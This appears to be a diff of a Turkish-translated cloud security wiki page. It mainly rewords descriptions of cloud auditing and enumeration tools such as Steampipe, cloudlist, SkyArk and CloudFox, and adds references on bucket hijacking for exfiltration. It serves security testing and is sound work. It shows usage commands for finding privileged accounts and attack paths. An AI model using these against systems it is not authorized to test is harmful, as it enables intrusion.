Tüm projects'leri kontrol etmek için test edilecek tüm projects'leri belirten `gcp.spc` dosyasını oluşturmanız gerekir. Aşağıdaki script'in yönergelerini takip edebilirsiniz
|
||||
```bash
|
||||
FILEPATH="/tmp/gcp.spc"
|
||||
rm -rf "$FILEPATH" 2>/dev/null
|
||||
@@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate
|
||||
```
|
||||
</details>
|
||||
|
||||
Diğer **GCP içgörülerini** (hizmetleri keşfetmek için faydalı) kontrol etmek için kullanın: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
Diğer **GCP insights**'ları kontrol etmek için (services enumerate etmek için faydalı) şunu kullanın: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights)
|
||||
|
||||
Terraform GCP kodunu kontrol etmek için: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
Terraform GCP code'unu kontrol etmek için: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance)
|
||||
|
||||
Steampipe için daha fazla GCP eklentisi: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
Daha fazla Steampipe GCP plugin'i: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp)
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="AWS" }}
|
||||
@@ -225,9 +251,9 @@ cd steampipe-mod-aws-compliance
|
||||
steampipe dashboard # To see results in browser
|
||||
steampipe check all --export=/tmp/output4.json
|
||||
```
|
||||
Terraform AWS kodunu kontrol etmek için: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance)
|
||||
|
||||
Steampipe için daha fazla AWS eklentisi: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws)
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
@@ -238,11 +264,11 @@ python2.7 gerektirir ve bakımsız görünüyor.
|
||||
|
||||
### Nessus
|
||||
|
||||
Nessus, _**Audit Cloud Infrastructure**_ taramasıyla şu platformları destekler: AWS, Azure, Office 365, Rackspace, Salesforce. Bir **Client Id** almak için **Azure**'da bazı ek yapılandırmalar gereklidir.
|
||||
Nessus, **AWS, Azure, Office 365, Rackspace, Salesforce** desteği olan bir _**Audit Cloud Infrastructure**_ taramasına sahiptir. **Azure** içinde **Client Id** almak için bazı ek yapılandırmalar gereklidir.
|
||||
|
||||
### [**cloudlist**](https://github.com/projectdiscovery/cloudlist)
|
||||
|
||||
Cloudlist, Cloud Providers'dan **multi-cloud tool for getting Assets** (Hostnames, IP Addresses) elde etmek için kullanılan bir araçtır.
|
||||
Cloudlist, Cloud Provider'lardan **Assets** (Hostnames, IP Addresses) almak için kullanılan çoklu-cloud bir araçtır.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Cloudlist" }}
|
||||
@@ -265,7 +291,7 @@ cloudlist -config </path/to/config>
|
||||
|
||||
### [**cartography**](https://github.com/lyft/cartography)
|
||||
|
||||
Cartography, Neo4j veritabanı tarafından desteklenen sezgisel bir graf görünümünde altyapı varlıklarını ve bunlar arasındaki ilişkileri birleştiren bir Python aracıdır.
|
||||
Cartography, altyapı varlıklarını ve bunlar arasındaki ilişkileri Neo4j veritabanı destekli sezgisel bir grafik görünümde birleştiren bir Python aracıdır.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -302,7 +328,7 @@ ghcr.io/lyft/cartography \
|
||||
|
||||
### [**starbase**](https://github.com/JupiterOne/starbase)
|
||||
|
||||
Starbase, bulut altyapısı, SaaS uygulamaları, güvenlik kontrolleri ve diğer hizmetler ile sistemlerden varlıkları ve ilişkileri toplayıp Neo4j veritabanı tarafından desteklenen sezgisel bir grafik görünümünde sunar.
|
||||
Starbase, cloud altyapısı, SaaS uygulamaları, security controls ve daha fazlası dahil olmak üzere services ve systems'den assets ve relationships toplar; bunları Neo4j database tarafından desteklenen sezgisel bir graph view içinde sunar.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Install" }}
|
||||
@@ -361,7 +387,7 @@ uri: bolt://localhost:7687
|
||||
|
||||
### [**SkyArk**](https://github.com/cyberark/SkyArk)
|
||||
|
||||
Taranan AWS veya Azure ortamındaki en ayrıcalıklı kullanıcıları (AWS Shadow Admins dahil) keşfeder. powershell kullanır.
|
||||
Taradığınız AWS veya Azure ortamındaki en yetkili kullanıcıları keşfedin, bunlara AWS Shadow Admins de dahildir. powershell kullanır.
|
||||
```bash
|
||||
Import-Module .\SkyArk.ps1 -force
|
||||
Start-AzureStealth
|
||||
@@ -372,13 +398,13 @@ Scan-AzureAdmins
|
||||
```
|
||||
### [Cloud Brute](https://github.com/0xsha/CloudBrute)
|
||||
|
||||
Bir şirketin (target) altyapısını, dosyalarını ve uygulamalarını en büyük bulut sağlayıcılarında (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) bulmak için bir araç.
|
||||
Bir company (target) infrastructure, files ve apps’i başlıca cloud providers üzerinde (Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode) bulmak için bir tool.
|
||||
|
||||
### [CloudFox](https://github.com/BishopFox/cloudfox)
|
||||
|
||||
- CloudFox, bulut altyapısında sömürülebilir saldırı yollarını bulmak için bir araçtır (şu an için yalnızca AWS ve Azure destekleniyor; GCP yakında eklenecek).
|
||||
- Manuel pentesting'i tamamlayacak şekilde tasarlanmış bir keşif aracıdır.
|
||||
- Bulut ortamında herhangi bir veri oluşturmaz veya değiştirmez.
|
||||
- CloudFox, cloud infrastructure içinde exploit edilebilir attack paths bulmak için bir tool’dur (şu anda yalnızca AWS & Azure destekleniyor, GCP yakında).
|
||||
- Bu, manual pentesting’i tamamlamak için tasarlanmış bir enumeration tool’dur.
|
||||
- Cloud environment içinde herhangi bir data oluşturmaz veya değiştirmez.
|
||||
|
||||
### More lists of cloud security tools
|
||||
|
||||
@@ -410,12 +436,19 @@ aws-security/
|
||||
azure-security/
|
||||
{{#endref}}
|
||||
|
||||
## Ortak Bulut Güvenlik Özellikleri
|
||||
## Common Cloud Security Features
|
||||
|
||||
### Gizli Hesaplama
|
||||
### Confidential Computing
|
||||
|
||||
{{#ref}}
|
||||
confidential-computing/luks2-header-malleability-null-cipher-abuse.md
|
||||
{{#endref}}
|
||||
|
||||
## References
|
||||
|
||||
- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/)
|
||||
- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2)
|
||||
- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html)
|
||||
- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
Reference in New Issue
Block a user